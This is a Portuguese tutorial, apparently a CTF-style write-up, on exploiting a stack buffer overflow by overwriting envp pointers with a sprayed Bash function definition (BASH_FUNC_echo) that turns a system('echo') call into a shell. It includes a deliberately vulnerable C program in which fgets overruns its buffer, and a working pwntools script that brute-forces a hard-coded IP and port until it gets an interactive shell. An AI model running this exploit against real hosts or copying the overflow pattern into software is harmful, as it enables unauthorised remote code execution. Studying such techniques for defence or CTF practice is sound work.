Uma técnica avançada de exploração de binários envolve o controle do copmortamento da função system() através da manipulação de variáveis de ambiente (envp) localizadas na pilha (stack). Quando um programa inicia, o layout da memória coloca o array envp acima do frame da função main. Este array contém ponteiros para strings que definem o ambiente do processo, terminando com um ponteiro NULL.
Em cenários onde há um transbordamento de buffer (buffer overflow) substancial, é possível sobrescrever não apenas o endereço de retorno, mas também os ponteiros do array envp. Ao fazer isso, podemos injetar definições de funções Bash maliciosas que serão executadas quando o programa invocar comandos simples via system().
Aálise do Layout da Pilha
Para explorar essa vulnerabilidade, primeiro precisamos entender a distância exata entre o buffer vulnerável e o início do array de ambiente. Podemos utilizar um código de diagnóstico para mapear esses endereços em um ambiente controlado, garantindo que não alteramos a estrutura da pilha com variáveis locais desnecessárias:
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char **argv, char **envp) {
char entrada[0x10000];
// Diagnóstico de endereçamento
printf("Endereço do Buffer: %p\n", (void*)entrada);
printf("Endereço do Envp: %p\n", (void*)envp);
printf("Distância (Offset): %ld\n", (long)envp - (long)entrada);
if (fgets(entrada, 0x100000, stdin) != NULL) {
system("echo Processando dados...");
}
return 0;
}
Neste exemplo, observamos que a distância entre o buffer e o ponteiro de ambiente permanece constante (por exemplo, 65864 bytes), apesar do ASLR (Address Space Layout Randomization) alterar os endereços absolutos.
Estratégia de Exploração e Bypass de ASLR
O objetivo é fazer com que envp[0] aponte para uma string maliciosa do tipo BASH_FUNC_echo%%=() { /bin/sh; }. Se o binário chamar system("echo ..."), o shell executará nossa versão injetada da função echo, resultando em execução remota de código (RCE).
O desafio surge com o ASLR: não sabemos o endereço exato da nossa string na pilha. Para mitigar isso, utilizamos duas táticas combinadas:
- Heap Spraying na Pilha: Preenchemos o espaço entre o buffer e o
envpcom múltiplas cópias da nossa string maliciosa. - Sobrescrita Parcial de Ponteiro: Em vez de tentar adivinhar o endereço completo de 64 bits, sobrescrevemos apenas os bytes menos significativos do ponteiro original em
envp[0]. Como o ponteiro original já aponta para a região de ambiente na pilha, alterá-lo para um valor baixo o redirecionará para uma área anterior que agora controlamos com nosso "spray".
Devido ao comportamento do fgets, que adiciona um caractere de nova linha (\n ou 0x0a) e um terminador nulo (\x00), podemos alinhar o payload para que o ponteiro envp[0] termine em 0x0a00, aumentando drasticamente as chances de sucesso após algumas tentativas.
Desenvolvimento do Exploit
O script abaixo automatiza o processo de "brute-force" contra a aleatorização da pilha, enviando o payload repetidamente até obter um shell inetrativo.
from pwn import *
def disparar_exploit():
host = '154.94.237.159'
porta = 34901
# Payload que define a função maliciosa no Bash
payload_cmd = b"BASH_FUNC_echo%%=() { /bin/sh; }\x00"
OFFSET_ENVP = 65864
try:
sessao = remote(host, porta, timeout=1)
# Construção do payload: Spray de strings maliciosas seguido do ajuste do ponteiro
buffer_fill = (payload_cmd) * (OFFSET_ENVP // len(payload_cmd))
payload_final = buffer_fill.ljust(OFFSET_ENVP, b'\x00')
# A sobrescrita parcial ocorre aqui via comportamento do fgets (\n\0)
sessao.sendline(payload_final)
# Verificação de persistência
sessao.sendline(b'whoami')
validacao = sessao.recv(timeout=1)
if validacao:
print("[+] Sucesso! Shell obtido.")
sessao.interactive()
sessao.close()
except (EOFError, PwnlibException):
pass
if __name__ == "__main__":
print("[*] Iniciando tentativas de sobrescrita parcial...")
while True:
disparar_exploit()
Ao executar o comando system() no servidor, o interpretador Bash processa as variáveis de ambiente. Ao encontrar a definição BASH_FUNC_echo%%, ele a importa como uma função. Quando o comando echo interno é chamado, nossa função assume o controle, desviando o fluxo de execução para /bin/sh.